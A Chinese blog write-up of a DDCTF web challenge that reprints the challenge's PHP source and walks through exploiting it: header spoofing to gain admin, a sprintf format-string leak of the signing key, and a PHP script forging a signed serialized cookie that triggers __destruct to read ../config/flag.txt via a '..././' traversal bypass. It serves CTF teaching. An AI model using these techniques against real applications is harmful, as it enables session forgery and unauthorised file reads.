美文网首页
DDCTFweb签到题

DDCTFweb签到题

作者: suntwo | 来源:发表于2019-05-03 19:25 被阅读0次

DDCTF上的一个反序列化的题

题目链接http://117.51.158.44/index.php

  • 访问这个链接显示我们没有权限访问,我们查看开发者工具,刷新查看网络流,如图


    QQ截图20190503192831.png
  • 我们可以看到有一个Auth.php的请求,打开查看请求头有一个didictf_username,我们在添加☞为admin,然后编辑重发。


    QQ截图20190503193319.png
  • 返回的内容为


    QQ截图20190503193445.png
  • 访问http://117.51.158.44/app//fL2XID2i0Cdh.php便会显示两个页面的源码



url:app/Application.php


Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}




url:app/Session.php



include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();



接下来我们分析一下源码

1.这是两个页面的源码一个是Application.php一个是Session.php,这两个页面有两个类Application和Session,Application是Session的父类。
2.然后创建了一个Session()对象$ddctf,然后调用了index()方法,index()方法如下

public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

3.index()函数使用了父类的方法parent::auth()

public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }

4.可以看到当我们传入didictf_username的值为admin时便会返回.

您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php

5.然后执行index方法的this->get_key(),get_key()的方法读取一个文件的对象,并将内容赋值给eancrykey。

private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

6.然后执行if($this->session_read()) ,session_read()函数如下。

public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

7.当(6)那个语句返回false时,便会执行下面的语句,表示创建一个session。

$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');

8.执行session_create()函数创建session,代码如下

private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }

8.首先通过随机数来创建$sessionid,根据我们的ip地址创建ip_address,使用我们的ua创建user_agent等,将这些元素作为数组的元素创建一个数组,再将数组序列化。

这句是重点,md5($this->eancrykey.$cookiedata)将两个字符串拼接在一起,然后md5加密,再将加密后的字符串和$cookiedata拼接在一起赋值给$cookiedata。
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

9.然后将这些内容使用cookie发送给用户端,从6->9这一过程是我们第一次访问时,服务器自动给我们创建cookie。

10.然后我们回到(6),如果那个判断语句返回true,便会执行:

$data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');

11.现在我们重点观察session_read()这个函数中的几个语句。

$hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }

12.hash表示session的后32个字符,session表示的是除去后32个字符的其他字符,然后使用if语句比较是否相等,将下面的代码和上面的比较,md5()返回的是32个字符:

$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

13.可以看出hash和md5(this->eancrykey.cookiedata)是相等的,因此我们只要知道eancrykey便可以构造我们需要的cookie了。
14.在session_read()中有一个session = unserialize(session);语句,并且Application类中有_destruct()函数:

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}

15.因此我们可以借助这个反序列化,来执行这个魔法函数,根据data=file_get_contents(path)读取path中的内容,我们猜测flag在../config/flag.txt中,接下来便可以构造cookie了。 16.但是构造cookie我们需要知道eancrykey的值,可以根据session_read()中的这段代码来读取。

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

现在开始进行操作

  • 首先请求一次http://117.51.158.44/app/Session.php用来获取cookie,需要带上didictf_username:admin,然后再次访问:

    QQ截图20190503205721.png
    -然后构造post内容为nickname=#%s#,使用了sprintf函数的漏洞读取eancrykey。
    QQ截图20190503205857.png
  • 开始构造cookie


<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}


$sun=new Application();
$sun->path='..././config/flag.txt';
 $sessionid = '';
 $eancrykey='EzblrbNS';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
            'flag' => $sun,
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($eancrykey.$cookiedata);
        echo $cookiedata;
?>


  • 再次请求


    QQ截图20190503210221.png
  • 返回结果


    QQ截图20190503210259.png

相关文章

  • DDCTFweb签到题

    DDCTF上的一个反序列化的题 题目链接http://117.51.158.44/index.php 访问这个链接...

  • 【CTF-HarekazeCTF2018】部分题目Writeup

    HarekazeCTF2018 Warmup签到题 0x01 welcome flag 真正的签到题: 0x02...

  • [NYSEC]——WP

    Web: 1.签到题——10' method:复制粘贴 2.签到题2——30' method: 进行修改即可,最大...

  • 签到题 DP

    DP算法,经典,求解 如图所示的数塔,要求从顶层走到底层,若每一步只能走到相邻的结点,则经过的结点的数字之和最大是...

  • web签到题

    解题步骤 先打开f12观察,观察到有个js/index.js,进入发现是一个认证用的js 查看代码发现他们发送一个...

  • DDCTFWEB.滴

    首先观察这个,是经过2次base64和一次16进制得到flag.jpg 得到

  • 【RCTF2018】部分Writeup

    0x01 Sign 签到题载入idaAlt+T查找RCTF即得flag 0x02 git 签到题查看commit信...

  • Web签到题 WriteUp

    url: http://117.51.158.44/index.php 打开界面,提示: 按f12,查看Reque...

  • ISCC(2019)——Rev01

    解压之后IDA打开。emmm,300分的签到题!???

  • writeup

    Web 签到题: 点开题目地址,网页上只有一行字,查看网页源码,得到flag 签到题2: 口令为11个字符,而输入...

网友评论

      本文标题:DDCTFweb签到题

      本文链接:https://www.haomeiwen.com/subject/znpznqtx.html